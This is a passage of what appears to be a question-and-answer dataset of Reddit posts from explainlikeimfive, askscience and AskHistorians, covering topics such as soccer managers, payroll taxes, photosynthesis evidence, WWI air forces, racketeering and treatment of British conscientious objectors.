{"q_id": "20tg2v", "title": "why does the manager of a football (soccer) team have such an effect on their performance?", "selftext": "Watching Manchester United's glorious downfall after Moyes took over, and i wondered how come the manager had such a big effect? The players are the same pretty much, so why are the performing so much worse?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/20tg2v/eli5_why_does_the_manager_of_a_football_soccer/", "answers": {"a_id": ["cg6jv03"], "score": [3], "text": ["Same reason a bad driver with a million dollar car isn't going to win a lot of races.\n\nThe manager decides strategy, decides what to practices and how often, and motivates the players.  if he is not good at that (or as good as the other managers), he is going to have a hard time winning, even with good players."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "t4khn", "title": "payroll taxes vs. income taxes", "selftext": "I have been hearing recently about the contributions of payroll taxes being compared to income taxes. I feel like the difference is that the employer covers payroll, while the employee or taxpayer covers income. I'm just not 100% sure. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/t4khn/eli5_payroll_taxes_vs_income_taxes/", "answers": {"a_id": ["c4ji21x", "c4jpzdj"], "score": [5, 2], "text": ["Payroll taxes = medicare (3%) and social security (12%), total of ~15% of your income.  You pay half, your employer pays half.  If you are self employed, you pay it all.\n\nIncome taxes = taxes on your income.  Rates vary based on income, but you pay it all.", "One you see and get angry about, the other you don't see, and the government hopes you don't get angry about. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2q3t7h", "title": "how do multi-level stackable parking lots in nyc (or other urban areas) operate?", "selftext": "The first people to enter these lots tend to get stacked in the back, but wouldn't the first people in tend to be the first people out? How do they get out when they want to?\n\nEdit: [example](_URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2q3t7h/eli5_how_do_multilevel_stackable_parking_lots_in/", "answers": {"a_id": ["cn2kbq1", "cn2kyzf", "cn2l6gb", "cn2u6d5", "cn34vqg", "cn3xdi0"], "score": [4, 2, 2, 9, 2, 2], "text": ["Can you give a link to what you mean?\n\nThe \"stackable\" parking lots I know of (also called parking ramps) have gaps in them just like a regular parking lot does, and people drive through it to find a parking spot.", "It all done by valet parking.  \n\nYou leave them your keys, and if they have to move cars around, they will. ", "I saw something similar to this last time I was in NYC. Basically, there was a moving elevator. You could put it in front of or behind any row, and cars were only parked 2 deep. So the front car could pull forward onto the elevator, or the back car could back up onto it.", "There is a parking attendant that mans getting the cars in/out. When you arrive you give an estimate of when you will be leaving. If it is when the lot will be empty you go on the top. If it is soon you will be on the bottom. If you are on the top and need to leave before you thought, you have to wait while all the other cars are moved and yours is lowered", "I'm really surprised no one had posted a video as of yet. So hopefully [this one](_URL_0_) helps you envision what is going on a little better. This one is a lift system that makes it so the bottom cars are the most likely to leave soonest, and the higher cars are those most likely to leave later. The lower cars must leave or be moved in order for the higher cars to leave.", "The simple answer is that it takes FOREVER to get your car so you basically have to schedule it in advance."]}, "title_urls": [], "selftext_urls": ["http://img.weburbanist.com/wp-content/uploads/2009/01/parking_3.jpg"], "answers_urls": [[], [], [], [], ["http://youtu.be/amHdmUXQ9Sc"], []]}
{"q_id": "a8su0k", "title": "How does this \"watercoloring\" kid's book work?", "selftext": "[My Friend's Kid has this coloring book, how does this work?](_URL_0_)\n\nFor those of you who've never see this before it's a coloring book that's blank. When you add water, the colors appear. Once it dries the colors fade and you're left with a white page again.\n\nI'm really curious about the science behind this, what's happening here?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/a8su0k/how_does_this_watercoloring_kids_book_work/", "answers": {"a_id": ["ece0csc", "ecegbtg"], "score": [13, 7], "text": ["(Am an organic chemist working in inks, if I need to provide an educational background)\n\nSo I\u2019m having a bit more trouble than I expected figuring this one out. This is the clearest patent I could find:\n\n_URL_0_\n\nAt the bottom they cite one from Mattel that uses pH sensitive inks, but that doesn\u2019t sound as much like what is used now. \n\nThis patent, where they have a felt tipped marker with water in it, also has pages that are printed with a \u201cuniform color water insoluble ink\u201d and a \u201clatent water soluble ink.\u201d So the water insoluble ink masks the latent ink, and when you add water, the latent ink is water soluble and becomes colored. \n\nWhat\u2019s bugging me is the patent doesn\u2019t give any chemistry of the inks. They mention \u201caniline based inks\u201d which would be the water soluble portion, but that\u2019s the only secret they give away.\n\nBut essentially the gist is they \u201chide\u201d the latent water soluble ink in a uniform coating of a water insoluble ink. When you add water the water soluble ink is dissolved and shows as color. \n\nAnyone that knows more feel free to chime in!\n\nEdit: this method wouldn\u2019t cover the reusable style of magic coloring books, I\u2019d imagine, which sorry I didn\u2019t notice is what you\u2019re asking about!", "My son has one of these and they operate on the same principle as a wet t-shirt contest. A colored image is printed on a water resistant paper. A thin white paper with just the black lines is laminated on top. When the paper gets wet it becomes translucent and the color shows through. When the paper dries back out the paper becomes opaque again and the image disappears."]}, "title_urls": [], "selftext_urls": ["https://www.melissaanddoug.com/dw/image/v2/BBDH_PRD/on/demandware.static/-/Sites-master-catalog/default/dwd1d48af4/large/009232_1.jpg?sw=562&amp;sh=570&amp;sm=fit"], "answers_urls": [["https://patents.google.com/patent/US4212393"], []]}
{"q_id": "bfwwvz", "title": "How do we know that plants create and release oxygen and use carbon dioxide ?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bfwwvz/how_do_we_know_that_plants_create_and_release/", "answers": {"a_id": ["eljc0oq"], "score": [6], "text": ["There is a long history of direct and indirect observations to show that plants fix carbon dioxide and produce oxygen in the presence of light. Production of oxygen is fairly straightforward to observe. You can grow some plants (typically algae or water plants work well since they can be contained in an airtight beaker pretty easily) within a nitrogen and CO2 atmosphere and let them photosynthesize for a while. Then you can take the atmosphere with some hydrogen and light it up. If there is oxygen, you will burn it and create some water. If you do the same without a plant, or without light, you will not have a flame. The longer you have the plant in the light, the more heat you will generate with your \"explosion\". This is all pretty good evidence for the plant creating the O2 in the presence of light\n\nYou can think of similar ways of seeing if CO2 is used up by a plant. Observe growth or no growth if CO2 is present (but this is hard) or even look for oxygen formation with and without CO2 and with or without light. But this is also kind of hard since plants also produce CO2 when they are not photosynthesizing. A more elegant approach is with some radiolabeling. If you are interested in a good history of this, you can read [this short memoir](_URL_0_) of Andrew Benson of the [Benson-Calvin cycle](_URL_1_). In short, you can get \"heavy\" CO2 where the Carbon is a ^(14)C carbon (as opposed to the natural ^(12)C, or less common ^(13)C). This radioactive carbon will decay and that decay can be measured. You can grow a plant in the presence of the heavy CO2, move it to a place with no heavy CO2 and measure the decay of the carbon from the plant (or the cells, or organelles, or even specific molecules). From the decay rate, you can very precisely measure the amount of C-14 in the plant and since it had to have come from your labelled CO2 (the amount of C-14 naturally occurring is very very small), you know that the plant incorporated CO2."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.life.illinois.edu/govindjee/Part1/Part1_Benson.pdf", "https://en.wikipedia.org/wiki/Calvin_cycle"]]}
{"q_id": "2c06a5", "title": "During WW1 there isn't much talk about air forces (at least to my knowledge), what was the state of them in the world?", "selftext": "Were there even organized platoons and what not of air forces? Or were the planes mostly used for reconnaissance ? Was it the increase of usage of planes between WW1 and WW2 solely due to technology?\n\nEDIT: grammar \nPS: sorry for my english ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2c06a5/during_ww1_there_isnt_much_talk_about_air_forces/", "answers": {"a_id": ["cjanlqp", "cjanpa6", "cjbduax"], "score": [3, 2, 3], "text": ["The main military value of aircraft during WWI was reconnaissance.  Aircraft did possess limited ability to bomb and strafe targets on the ground, but this was of limited value, except psychologically, where it could panic troops who were unprepared.  The WWII technology of radio was not yet effective enough to allow close coordination with attacking forces essential to effective air support.  In the naval sphere, although WWI saw a few ships sunk by aircraft, they were not yet a major threat to warships due to limited range and bomb size.\n\nHowever, the reconnaissance provided by aircraft was very important in the war.  Aircraft could report enemy troop and artillery concentrations preventing surprise attacks.  Aircraft could report the positions of friendly troops and the success of their attacks allowing for effective follow up.  By sea, Aircraft could report the location of enemy warships, or supply vessels and act as a force multiplier for naval units.  In an era before radar, the sea was a vast expanse in which an enemy could easily hide, and aircraft made that much less true, at least in daylight hours.\n\nBecause of aircraft's value as reconnaissance units, the skies became worth controlling.  Fighter squadrons were created during the war, and the first aces became military celebrities.  A constant race developed to improve aviation technology and attain air superiority.  This drove rapid technological advance in aviation during the war.  For the first time, a navy or army that was deficient in aircraft was at a measurable military disadvantage.\n", "I'm not a WWI historian, or any historian by any stretch of the imagination, so I'm sure someone else will give a more comprehensive answer here. But... I can tell you from what I remember from a childhood obsession with planes (used to own tons of books on military aircraft) that all the major forces in the war had some air power. Military aircraft developed greatly during the course of the war. Early in the war, planes were limited to mostly reconnaissance roles. This was because early bombers were fairly ineffective and forward firing machine guns were not yet available. Early bombers could not hold many bombs and the bombardier just tossed bombs and grenades from the plane using his naked eye. There were some early fighters, though. They were generally two-seaters, as they had rear-mounted machine guns to avoid shooting their own propellers off.\n\nIn 1915, the Germans invented the synchronization gear, which kept the machine guns from firing when the propeller moved in front of them. This opened the door to more advanced fighters, the ones we usually think of when we think of military aircraft. By the mid- and late war, fighters that have entered the popular consciousness such as the British Sopwith Camel and the German Fokker Dr. I triplane were created. (The Camel is the plane that Snoopy imagines himself flying, and the Dr. I was the fighter of choice of the infamous Red Baron (Manfred von Richthofen), the winningest ace in the war.) Bomb sights and heavy bombers such as the Gotha G. IV were also developed during this time. Air raids on cities became a possibility and were used in attempts to defeat enemy morale.\n\nBalloons also played a role. Reconnaissance balloons were commonly used. Zeppelins were used as bombers, but they fell out of favor by mid-war due to the development of better fighters and incendiary rounds that made them easy targets.", "All of the previous posts don't really give any information as to why early WW1 aircraft were limited to a reconnaissance role, and some of the posts herein are inaccurate or flat out wrong. /u/Snugglerific briefly mentions the synchronization gear (also referred to the interrupter gear) which allowed pilots to shoot through propellers without hitting them, but forward firing machine guns were in use before this. Also, u/white_light-king's makes a huge leap when suggesting reconnaissance units led to fighter squadrons. \n\nFirst of all, lets examine the humble beginnings of the airplane. [Here] (_URL_0_) is the Wright Flyer, the famed bird that took off at Kitty Hawk on December 17th, 1903. The Wright's immediately tried to promote it as military asset, which had some European countries interested (Britain and France mainly), although military strategists recognized that it was woefully underpowered and cumbersome. How underpowered? The Wright Flyer had a 12 hp 4 cylinder engine. After 2 years of tweaking and development, the Wright brothers introduced their Wright Flyer 3, but this only had a 20 hp engine, allowing for a max speed of 30-35 mph. This brings us to one of the first problems with early aircraft: the engines were very weak. A 20-40 hp engine may allow you to get airborne, but the turning capabilities of the aircraft are going to be severely limited. Also, the airplane has to literally be designed around the engine itself. This leads us to our second problem with early military aircraft: engine weight. Larger engines (which did not necessarily result in more hp or a higher efficiency) weighed more, and the weight had to be offset by lighter construction techniques. This is the era in which biplanes and monoplanes competed for dominance, and wood and canvas were the materials of choice. Designers had a very small window of power, lift, and weight, with each factor usually adding or subtracting from the other two in a detrimental way.\n\nSo early planes (pre-1910) had lightweight and fragile airframes centered around bulky, under powered engines. Airplane technology slowly evolved as engineers began to test new concepts, including radial engines, thicker vs thinner vs longer wings, etc. Airplane design also improved due to international competitions such as the Schneider Trophy and the Gordon Bennet Trophy, which saw nations competing in time trial events. These aircraft were the fathers of the early WW1 aircraft, which placed a premium upon lightweight construction in order to squeeze out every mph of speed. \n\nThus, once the war started, aircraft designs that were already in use were quickly militarized. The logical place for these lightweight, fragile aircraft was on the front line in a reconnaissance role, however there remained a few major obstacles. One obstacle was not the technological limitations or the practicality of the aircraft, but the hesitancy of the High Command on both sides of the battle to employ these new weapons. In fact, an article of the 1899 Hague Peace Conference expressly outlawed the use of \"the launching of projectiles and explosives from balloons, or by other new methods of a similar nature\" for 5 years, which can be found [here.] (_URL_1_) Also, the Gordon Bennett races were initially viewed by the military as trivial competitions, where Marshall Ferdinand Foch once famously stated \"Aviation is good for sport, but for the Army it is useless!\"\n\nThis leads us to a third limitation: airframe fragility. By design, the aircraft had to be light enough to be maneuverable and airworthy, yet couldn't fall apart if put into a dive or a turn. This is where the Gordon Bennet and the Schneider races helped the war effort. Had the Triple Entente and Triple Alliance been forced to develop these advances during the war, the airplanes that we know today as the workhorses of WW1 might not have been developed, or been used to the extent that they were. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://upload.wikimedia.org/wikipedia/commons/8/80/WrightFlyerSmithsonianMay1982.jpg", "http://www.icrc.org/applic/ihl/ihl.nsf/Article.xsp?action=openDocument&amp;documentId=C372920FFD61039AC12563CD00516126"]]}
{"q_id": "4o0q9p", "title": "Why can we see the Milky Way Galaxy as a gray haze from the windows of a plane, but more vibrant (as seen in photos) from the ground?", "selftext": "On a recent flight across the pacific, my 4 year old and I were looking out our rather clear window, and could make out the Milky Way, but it was really just sort of grayish.  But photos on Reddit  &  other Astronomy-related sites show a vibrant color-rich path across the sky. One would think at 36,000 ft, there's a lot less light pollution and atmosphere getting in the way. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4o0q9p/why_can_we_see_the_milky_way_galaxy_as_a_gray/", "answers": {"a_id": ["d48ph7o", "d48wklf", "d4926y7", "d496gma"], "score": [62, 14, 2, 2], "text": ["The photos of the Milky Way you see on Reddit are typically [long exposure photographs](_URL_1_). By leaving the shutter on the camera open for long periods of time, we can let more light in and get a more vibrant and beautiful picture of the Milky Way. In fact, this is how most professional astronomy is done. The [Hubble Ultra Deep Field](_URL_0_), for example, exposed the camera on the Hubble Space Telescope for a total time of more than 11 days (though it did not do this all at once).", "All of those beautiful long exposures you see are highly processed after the photo was taken. I don't personally like to over process my photos, but here is the difference between the RAW and the processed photo:\n\nBefore processing: _URL_2_  \nAfter Processing: _URL_0_\n\nSome people add way more stuff than I do.\n\nThis is the tutorial I used to process if you care: _URL_1_\n\n(again this is too over processed IMO)", "It was the astrophotography equivalent of finding out santa isn't real when I learned some of the most beautiful photos I've seen include light way beyond the visible spectrum. \n\nHowever, aren't all the stars visible to us in the milky way? So wouldn't there be a higher concentration of starts along it as well?", "It's the same with the northern lights. These photographs that we see are done by changing settings and sometimes are photoshopped. \n\nI was almost dissapointed when I saw the northern lights in person because it's just not the same as in the pics. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Hubble_Ultra-Deep_Field", "https://en.wikipedia.org/wiki/Long-exposure_photography"], ["http://imgur.com/AtHVp44", "https://www.youtube.com/watch?v=FOAmP7A_x6c", "http://imgur.com/MgN3XNQ"], [], []]}
{"q_id": "dsy4r1", "title": "why does our skin seem to stick to things like leather sofas and plastic chairs after a few minutes of contact", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dsy4r1/eli5_why_does_our_skin_seem_to_stick_to_things/", "answers": {"a_id": ["f6skejc"], "score": [14], "text": ["We are always sweating, even if it is just a tiny bit that we don't normally notice because it evaporate so fast. Sweat is mostly water, and water is somewhat adhesive. You can take two small pieces of glass, wet one of them, and the attraction between the two will be enough to hold the other one up in the air."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6ref59", "title": "Towards the end of WW1 Why did the German navy mutiny but not the army?", "selftext": "As far as I'm aware the German army was largely (if not completely) loyal to the very end, but the navy was a hotbed of mutinous soldiers , especially at Kiel - why? What made the Navy less disciplined/less happy with the war or why was the army so compliant to orders?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6ref59/towards_the_end_of_ww1_why_did_the_german_navy/", "answers": {"a_id": ["dl4hp0q"], "score": [11], "text": ["More to be said on this, but do check out /u/kieslowskifan's old response [here](_URL_0_) to a related question."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/5pryo9/why_did_socialist_thought_make_such_inroads/dctn1d7/"]]}
{"q_id": "1m3up0", "title": "racketeering.", "selftext": "What would be a racket in today's society and how would it work?? Or from history what are some specific examples of a racket, how do they set up and continue to run?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1m3up0/eli5_racketeering/", "answers": {"a_id": ["cc5hwps", "cc5if2u", "cc5j0x1", "cc5mx2v", "cc5ozn7", "cc5rjj1", "cc5tmjy", "cc5tqsp", "cc607uf"], "score": [74, 157, 16, 5, 4, 3, 2, 2, 2], "text": ["Some wiseguys go to the neighborhood pizza place.  They tell the proprietor, \"Since we value you so much, for $500 a month, we're gonna keep you safe from other wiseguys.\"  The proprietor says \"But I don't *have* any trouble, why would I need to pay for protection?\"  The hoods reply \"Because if you don't pay us, we firebomb your pizza shop, and none of us want that to happen.\"\n\nThat's racketeering.  A fraudulent solution to a problem that doesn't exist.", "It would be pretty terrible if all of your posts were automatically down voted from now on. Maybe a little reddit gold can help that awful hypothetical scenario.\n\n\nEdit: thanks for the gold, kind, law abiding citizen. In other news, this was my first post in 5 years or so of lurking - I still don't understand you, Reddit.", "AN EXAMPLE:\n\n > The review websites (ie. YELP, Angies-List) will put up fake bad reviews of a company on their site.\n\n > Then they contact the companies and \"offer\" them to take them down for a \"member$hip\"\n", "Just finished the book \"Brutal,\" by one of Whitey Bulger's associates in Boston. In the 80s-90s, they were also big on just knocking on a guy's door, telling him that X is out to kill him, and for $200,000 they'll call it off. The guy would come up with the money, if not Bulger's guys would murder him. \n\nsidebar: If you need to read this book, think twice before buying it. The guy admits in the book to participating in several murders and hundreds of assaults, in addition to the extortion, etc. A sociopath with an immunity deal. Don't reward him. ", "Furniture stores were apparently one of the first and easiest rackets to run for new arrivals. Stores used to have to pay huge to everyone that sweated them, because absolutely anyone could come in, sit down and stick a knife though the furniture, very inconspicuously.  Guess they started organizing gangs around keeping other loogans from damaging the furniture.  Pay one group of thugs to keep all the other thugs away from the store, and only pay one group instead of every loser with a pocketknife.", "From the movie Goodfellas comes this quote.  It pretty much sums up racketeering.\n\nHenry Hill: [narrating] Now the guy's got Paulie as a partner. Any problems, he goes to Paulie. Trouble with the bill? He can go to Paulie. Trouble with the cops, deliveries, Tommy, he can call Paulie. But now the guy's gotta come up with Paulie's money every week, no matter what. Business bad? Fuck you, pay me. Oh, you had a fire? Fuck you, pay me. Place got hit by lightning, huh? Fuck you, pay me.", "I think better business bureau is an example", "So... racketeering is a really broad charge. In general it means any ongoing criminal activity involving more than one person with some sort of financial gain. It can be through extortion, drug trafficking, money laundering, etc. The rico act was originally put into place in order to catch mafia bosses. Once the mafias began to fade away the law was adapted to try and convict modern day gang leaders and cartels and in some cases your average drug dealer with a good connect. The rico act works by rounding up the pawns and getting them to roll over on their bosses who are running the racket even though said bosses have never actually sold drugs/murdered/extorted anyone. The majority of racketeering cases these days are primarily drug, forgery, chop shop(automobile) related. I have been charged with the rico act before because a grand jury couldn5 find enough evidence to indict me on a lesser criminal conspiracy charge. ( helps to put into perspective how broad it really is)", "Ok well you see, you open this thing called a bank. Then you make a rule that for every actual dollar that a customer deposits, you get to create 10 dollars out of thin air which you lend at interest..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "30rb2j", "title": "quantum locking", "selftext": "I saw a video where this guy had liquid nitrogen just levitating due to quantum locking. How?\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/30rb2j/eli5quantum_locking/", "answers": {"a_id": ["cpv2l99", "cpv2vrw"], "score": [3, 2], "text": ["[Video for the curious](_URL_0_)\n\nIn a \"normal\" superconductor, magnetic field is completely blocked from the material when its cold enough.  This leaves the material suspended in place when it is positioned in a magnetic field, but free to spin or flip around.  [That is the Meissner effect](_URL_2_).\n\nQuantum locking happens to \"Type 2\" superconductors.  They have tiny imperfections in them that allow a tiny bit of magnetic field to penetrate the material in a just a few places ([called \"flux pinning\"](_URL_1_)).  It effectively skewers the material, locking it in place as you saw in the original video.", "Ok - let s dive into this.  First note it wasn't \"just\" levitating, it was levitating over a strong magnetic field.  It just didn't have any of the wobbly-ness normally associated with magnetics floating, it kept   whatever angle you put it at, instead of returning to floating at a whatever the steadiest point is.\n\nNext, what they had was a superconductor wrapped around an inert material with liquid nitrogen added, not just nitrogen.  The liquid nitrogen was to keep the superconductor supercold.\n\nSuperconductors conduct electricity REALLY well, like with no loss, at very, very cold temperatures.\n\nDue to the way magnetics interacts with electricity (moving magnetics create a current, moving electrons create magnetic fields), a cold superconductor will normally just repel a magnetic field, and wobble around while floating and settle in the same position every time, similar to any floating magnet you've seen.\n\nWhat these guys did was create a really thin superconductor and wrap it around something inert.  They superconductor was so thin it had weak points in it, so most of the magnetic field went around it, but some went THROUGH it at these weak points, and into the inert material.  This inert material has to accept these really thin, pole like strands of flux, but REALLY hates any change, so will only allow them where they already are.\n\nThus, if you try and move it at all from where it is, the magnetic forces really oppose it, so it stays very still and keeps the position it's in.  it's this forcing of magnetic fields into an inert material that is surrounded by superconductor that allows the \"locking\" effect, instead of the similar \"wobbly\" effect of just a normal piece of magnetic material.\n\nMentally, you can picture it as a jet of water shooting up into the air (the magnetic field)  with a block of wood floating on it.  Normally it just floats there, wobbling around, and no matter how you place it it returns to flat.  But if you drive some steel rods through it (the forced magnetic field into the inert material)  it's going to stay in whatever position you staked it in."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=Ws6AAhTw7RA", "http://upload.wikimedia.org/wikipedia/commons/c/c5/Flux_Pinning_Field_Diagram.jpg", "https://www.youtube.com/watch?v=JIjzJKnpahA"], []]}
{"q_id": "2c4plu", "title": "this programming joke", "selftext": "_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2c4plu/eli5_this_programming_joke/", "answers": {"a_id": ["cjbxaae"], "score": [20], "text": ["GreySuit wants some information. BlueSuit responds with pedantry. GreySuit ignores it and asks for the information again. BlueSuit feels GreySuit is not respecting the difference and tells him to do an complete overkill task in a language few people use to get GreySuit off his back. Presumably you understand the third panel. "]}, "title_urls": [], "selftext_urls": ["http://xahlee.info/comp/i/fault-tolerance_NoSQL.png"], "answers_urls": [[]]}
{"q_id": "uh5w6", "title": "Why are my lips a different color?", "selftext": "There is a very seamless transition from face to lip, so what causes the change in coloration?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/uh5w6/why_are_my_lips_a_different_color/", "answers": {"a_id": ["c4vc75u", "c4vcvqw", "c4vd2hj", "c4vdnk9"], "score": [17, 25, 9, 2], "text": ["Your lips have an increased blood supply- they are more vascular than the surrounding skin. The blood makes them pink. The change color when the blood drains from your face or becomes less oxygenated. For example, a dead or dying person will have blue lips. ", "ELI5 version: Lips are made from \"inside the body\" tissue like the inside of your mouth rather than normal skin.", "Just a note: You write \"a seamless transition\", when you actually mean the exact opposite. A seamless transition would be if the color blended smoothly from one to the other with no obvious single changeover point.", "I've always wondered why the lips are like that. What is the evolutionary function of having lips? Can someone quickly point this out to me please?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1ke41y", "title": "Does cupping your ear with your hand improve your hearing significantly? How about in terms of sound quality?", "selftext": "I was testing this on my own today and I seemed to notice a difference but I am not sure if this was just confirmation bias ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ke41y/does_cupping_your_ear_with_your_hand_improve_your/", "answers": {"a_id": ["cboc3jl"], "score": [2], "text": ["As DrWurm pointed out, you are forming a reflector with your hand, and directing more acoustic energy into your ear. It is worth noting, however, that you are preferentially increasing high frequency sounds. This is because for low frequency waves the wavelength can be on the order of ten meters long, and your hand is too small to significantly alter the path of the wave. For high frequency waves the wavelengths are on the order of centimeters, and waves act like \"rays\" that can be effectively gathered by these simple reflectors.\n\nAs a result, these reflectors can sometimes increase \"noise\" if you are specifically trying to listen to a sound below the threshold of the reflector. That's why audio guys don't simply slap a parabolic reflector on every mic they use."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4kp2wu", "title": "Are there weird Karman Lines on other planets?", "selftext": "The Karman Line is about 100km on Earth, and that's where in order for an aircraft to generate lift against the atmosphere you need to be travelling faster than what it takes to maintain stable orbit.\n\nI'm having a hard time turning this over in my head for places like Jupiter, Venus and Titan.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4kp2wu/are_there_weird_karman_lines_on_other_planets/", "answers": {"a_id": ["d3gnd6g", "d3go6iw", "d3gv792"], "score": [9, 35, 9], "text": ["What exactly are you having trouble wrapping your mind around?\n\nThe composition of the atmosphere and the mass of the planet are obviously part of the puzzle. But there's naturally going to always be a point where the velocity for atmospheric flight is equal to orbital velocity. The inputs are just going to change what that altitude is.", "Sure! Taking a look at the [wikipedia page for Karman Line](_URL_0_), the equation to work it out seems to be  \nm\\*g = 0.5\\*rho\\*v^(2)\\*S\\*C, where:  \nm = Mass of the aircraft  \ng = Local gravitational acceleration (which depends on height)  \nrho = Air density (which depends on height)  \nv = Circular orbital speed (which depends on height)  \nS = Wing area of the aircraft  \nC = Lift coefficient of the aircraft\n\nYou'll notice that there are several quantities here which depend on height, and a few which depend only on the aircraft. Two of the ones which depend on height (g and v) are relatively easy to calculate:  \nv = (G\\*M/r)^1/2  \ng = M / r^2, where:  \nM = Mass of the planet  \nr = Distance from planet's center\n\nThe third, air density, is a rather trickier beast and depends very strongly on the planet in question. For example, [this paper](_URL_1_)'s Figures 5 and 6 show models for the atmospheric densities of Jupiter and Saturn as functions of radius.\n\nThe point of all of this is: you can combine all of these things together with the very first equation above and solve for what the Karman Line's height would be on these planets.", "Randall Munroe of XKCD doesn't directly answer that question, but he answers a similar one.\n\n[What would happen if you tried to fly a normal Earth airplane above different Solar System bodies?](_URL_0_)\n\nYou may find it relevant to whatever made you interested in the subject."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/K%C3%A1rm%C3%A1n_line", "http://arxiv.org/abs/1307.3094"], ["https://what-if.xkcd.com/30/"]]}
{"q_id": "3mzqo1", "title": "why do people, particularly criminals, often use aliases that are so close to their real names?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3mzqo1/eli5_why_do_people_particularly_criminals_often/", "answers": {"a_id": ["cvjisbn", "cvjiytn", "cvk8s4m"], "score": [10, 3, 2], "text": ["It's easier to remember and be familiar with, and there's no reason not to.  \n\nIf a criminal uses the alias John Smith, the police don't think \"well we're obviously looking for a Ron Blith\"  and then they round up on the Rons in town.  The only way they know that the alias is close to the real name is that they found the person and arrested them.  If you found the person, you probably used something other than the alias to find them.  Finally, having an alias totally different from your actual name doesn't help you after you've been caught anyway.  It couldn't have been me because my alias of Fronzel Neekburm is soooo different from my actual name of Ted O'Neil!  You're obviously looking to Tonzal Freekburn!", "When a person hears their name, they normally react  to it instantly. It would be weird if you walked up behind someone and said their name and got no immediate reaction.\n\nWhen people are using an assumed name, they will often use their same first name so that if someone calls them by that name they react normally. The last name isn't quite so problematic, but it helps if it sounds similar to what they are used to being called so that they will react more normally if someone uses it around them.", "Easier to remember, and easier to respond to, as stated here.  Also, if the alias is close to your own name, you can claim that you didn't use an alias at all; somebody just misheard you or misread your signature or made a typo while recording your information.  Source: a guy in our ER who had received care under several aliases.\n\nBTW: I've seen redditors encourage people to use aliases when receiving healthcare to avoid the huge hospital bills that may result.  That's a bad idea because using an alias means they don't have access to your medical records, so if you forget to tell them you're allergic to some drug or another..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2p89yj", "title": "I am an Englishman who avoided fighting in France during the Great War. What social stigma might I face?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2p89yj/i_am_an_englishman_who_avoided_fighting_in_france/", "answers": {"a_id": ["cmut1uh", "cmuw366"], "score": [12, 5], "text": ["To a degree it depends on where you lived, but largely things weren't great for those who resisted. Everyone had a friend member or a friend, or at least knew someone who had a family member or a friend, out fighting at one of the Fronts, so there was a lot of social pressure to support the war. If you were a healthy male of military age who did not want to go you were seen as taking advantage of the sacrifice of men who went. People also perceived them as cowardly, and feminine. \n\nThe government, the press, and supporters of the war emphasised the sacrifice made by soldiers, and their heroism, and created an image of manliness linked with soldiering and sacrifice for ones country. If you did not conform to that you might be shunned by the people you knew, abused on the street, and even beaten. Something like 70 men who were conscientious objectors died through various injuries, mistreatments, and suicides during the war. \n\nDuring the first couple of years of the war the British relied on the voluntary system. Basically men had to choose to join the army. However, due to massive pressures from sections of society, government, and the press, conscription was brought in by the Military Service Act in January 1916. If you were a male of military age who did not want to fight you had to publicly voice your stance at a Military Tribunal and get judged as to the worthiness of your claims by notable locals and a military representative. People wanted to avoid service for a variety of reason. The most common were having a business that could not run without you, or a dependant family member. Although, there were people who just did not want to fight in a war because of their beliefs. There was an poorly defined and thought out clause in the Act that allowed men to avoid military service on grounds of their conscience. Basically it meant that the tribunals had to decide whether or not you held genuine beliefs that meant you could not kill, and then whether or not you were suitable for exemption from duty, non-combatant service, or actual combat. These tribunals were incredibly biased, essentially they wanted to send as many people as possible, and usually could not abide those claiming exemption of grounds of conscience. Thousands of men ended up in prison, or were sent to the military and subject to military discipline. \n\nThose who this happened to often suffered horrendous abuse. Men in prisons at this time were often poorly fed, and depending on whether or not your guard was a sadist you might get frequently beaten. Those who were sent to the army but still refused to obey orders received similar treatment. They would be in and out of jail, and occasionally tortured. One man, I think his name was John Grey, was famously beaten until he said that he would be a soldier. They stripped him, kicked the living hell out of him, and repeatedly 'ducked' him in a nearby body of water. 50 or so COs were actually sent to France, subjected to military discipline, and then sentenced to death for not following orders. However, they were pardoned on the day the were supposed to be executed.\n\nThese abuses were published and became 